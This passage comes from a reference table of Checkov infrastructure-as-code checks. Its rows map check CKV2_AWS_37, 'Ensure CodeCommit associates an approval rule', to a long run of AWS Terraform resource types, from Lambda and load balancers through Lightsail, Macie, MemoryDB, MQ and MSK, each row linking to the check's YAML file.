[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1384 | CKV2_AWS_37 | resource | aws_lambda_alias | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1385 | CKV2_AWS_37 | resource | aws_lambda_code_signing_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1386 | CKV2_AWS_37 | resource | aws_lambda_event_source_mapping | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1387 | CKV2_AWS_37 | resource | aws_lambda_function | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1388 | CKV2_AWS_37 | resource | aws_lambda_function_event_invoke_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1389 | CKV2_AWS_37 | resource | aws_lambda_function_recursion_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1390 | CKV2_AWS_37 | resource | aws_lambda_function_url | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1391 | CKV2_AWS_37 | resource | aws_lambda_invocation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1392 | CKV2_AWS_37 | resource | aws_lambda_layer_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1393 | CKV2_AWS_37 | resource | aws_lambda_layer_version_permission | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1394 | CKV2_AWS_37 | resource | aws_lambda_permission | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1395 | CKV2_AWS_37 | resource | aws_lambda_provisioned_concurrency_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1396 | CKV2_AWS_37 | resource | aws_lambda_runtime_management_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1397 | CKV2_AWS_37 | resource | aws_launch_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1398 | CKV2_AWS_37 | resource | aws_launch_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1399 | CKV2_AWS_37 | resource | aws_lb | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1400 | CKV2_AWS_37 | resource | aws_lb_cookie_stickiness_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1401 | CKV2_AWS_37 | resource | aws_lb_listener | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1402 | CKV2_AWS_37 | resource | aws_lb_listener_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1403 | CKV2_AWS_37 | resource | aws_lb_listener_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1404 | CKV2_AWS_37 | resource | aws_lb_ssl_negotiation_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1405 | CKV2_AWS_37 | resource | aws_lb_target_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1406 | CKV2_AWS_37 | resource | aws_lb_target_group_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1407 | CKV2_AWS_37 | resource | aws_lb_trust_store | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1408 | CKV2_AWS_37 | resource | aws_lb_trust_store_revocation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1409 | CKV2_AWS_37 | resource | aws_lex_bot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1410 | CKV2_AWS_37 | resource | aws_lex_bot_alias | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1411 | CKV2_AWS_37 | resource | aws_lex_intent | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1412 | CKV2_AWS_37 | resource | aws_lex_slot_type | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1413 | CKV2_AWS_37 | resource | aws_lexv2models_bot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1414 | CKV2_AWS_37 | resource | aws_lexv2models_bot_locale | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1415 | CKV2_AWS_37 | resource | aws_lexv2models_bot_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1416 | CKV2_AWS_37 | resource | aws_lexv2models_intent | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1417 | CKV2_AWS_37 | resource | aws_lexv2models_slot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1418 | CKV2_AWS_37 | resource | aws_lexv2models_slot_type | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1419 | CKV2_AWS_37 | resource | aws_licensemanager_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1420 | CKV2_AWS_37 | resource | aws_licensemanager_grant | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1421 | CKV2_AWS_37 | resource | aws_licensemanager_grant_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1422 | CKV2_AWS_37 | resource | aws_licensemanager_license_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1423 | CKV2_AWS_37 | resource | aws_lightsail_bucket | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1424 | CKV2_AWS_37 | resource | aws_lightsail_bucket_access_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1425 | CKV2_AWS_37 | resource | aws_lightsail_bucket_resource_access | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1426 | CKV2_AWS_37 | resource | aws_lightsail_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1427 | CKV2_AWS_37 | resource | aws_lightsail_container_service | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1428 | CKV2_AWS_37 | resource | aws_lightsail_container_service_deployment_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1429 | CKV2_AWS_37 | resource | aws_lightsail_database | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1430 | CKV2_AWS_37 | resource | aws_lightsail_disk | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1431 | CKV2_AWS_37 | resource | aws_lightsail_disk_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1432 | CKV2_AWS_37 | resource | aws_lightsail_distribution | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1433 | CKV2_AWS_37 | resource | aws_lightsail_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1434 | CKV2_AWS_37 | resource | aws_lightsail_domain_entry | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1435 | CKV2_AWS_37 | resource | aws_lightsail_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1436 | CKV2_AWS_37 | resource | aws_lightsail_instance_public_ports | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1437 | CKV2_AWS_37 | resource | aws_lightsail_key_pair | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1438 | CKV2_AWS_37 | resource | aws_lightsail_lb | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1439 | CKV2_AWS_37 | resource | aws_lightsail_lb_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1440 | CKV2_AWS_37 | resource | aws_lightsail_lb_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1441 | CKV2_AWS_37 | resource | aws_lightsail_lb_certificate_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1442 | CKV2_AWS_37 | resource | aws_lightsail_lb_https_redirection_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1443 | CKV2_AWS_37 | resource | aws_lightsail_lb_stickiness_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1444 | CKV2_AWS_37 | resource | aws_lightsail_static_ip | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1445 | CKV2_AWS_37 | resource | aws_lightsail_static_ip_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1446 | CKV2_AWS_37 | resource | aws_load_balancer_backend_server_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1447 | CKV2_AWS_37 | resource | aws_load_balancer_listener_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1448 | CKV2_AWS_37 | resource | aws_load_balancer_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1449 | CKV2_AWS_37 | resource | aws_location_geofence_collection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1450 | CKV2_AWS_37 | resource | aws_location_map | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1451 | CKV2_AWS_37 | resource | aws_location_place_index | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1452 | CKV2_AWS_37 | resource | aws_location_route_calculator | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1453 | CKV2_AWS_37 | resource | aws_location_tracker | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1454 | CKV2_AWS_37 | resource | aws_location_tracker_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1455 | CKV2_AWS_37 | resource | aws_m2_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1456 | CKV2_AWS_37 | resource | aws_m2_deployment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1457 | CKV2_AWS_37 | resource | aws_m2_environment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1458 | CKV2_AWS_37 | resource | aws_macie2_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1459 | CKV2_AWS_37 | resource | aws_macie2_classification_export_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1460 | CKV2_AWS_37 | resource | aws_macie2_classification_job | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1461 | CKV2_AWS_37 | resource | aws_macie2_custom_data_identifier | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1462 | CKV2_AWS_37 | resource | aws_macie2_findings_filter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1463 | CKV2_AWS_37 | resource | aws_macie2_invitation_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1464 | CKV2_AWS_37 | resource | aws_macie2_member | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1465 | CKV2_AWS_37 | resource | aws_macie2_organization_admin_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1466 | CKV2_AWS_37 | resource | aws_macie_member_account_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1467 | CKV2_AWS_37 | resource | aws_macie_s3_bucket_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1468 | CKV2_AWS_37 | resource | aws_main_route_table_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1469 | CKV2_AWS_37 | resource | aws_media_convert_queue | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1470 | CKV2_AWS_37 | resource | aws_media_package_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1471 | CKV2_AWS_37 | resource | aws_media_packagev2_channel_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1472 | CKV2_AWS_37 | resource | aws_media_store_container | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1473 | CKV2_AWS_37 | resource | aws_media_store_container_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1474 | CKV2_AWS_37 | resource | aws_medialive_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1475 | CKV2_AWS_37 | resource | aws_medialive_input | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1476 | CKV2_AWS_37 | resource | aws_medialive_input_security_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1477 | CKV2_AWS_37 | resource | aws_medialive_multiplex | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1478 | CKV2_AWS_37 | resource | aws_medialive_multiplex_program | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1479 | CKV2_AWS_37 | resource | aws_memorydb_acl | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1480 | CKV2_AWS_37 | resource | aws_memorydb_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1481 | CKV2_AWS_37 | resource | aws_memorydb_multi_region_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1482 | CKV2_AWS_37 | resource | aws_memorydb_parameter_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1483 | CKV2_AWS_37 | resource | aws_memorydb_snapshot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1484 | CKV2_AWS_37 | resource | aws_memorydb_subnet_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1485 | CKV2_AWS_37 | resource | aws_memorydb_user | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1486 | CKV2_AWS_37 | resource | aws_mq_broker | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1487 | CKV2_AWS_37 | resource | aws_mq_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1488 | CKV2_AWS_37 | resource | aws_msk_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1489 | CKV2_AWS_37 | resource | aws_msk_cluster_policy | Ensure 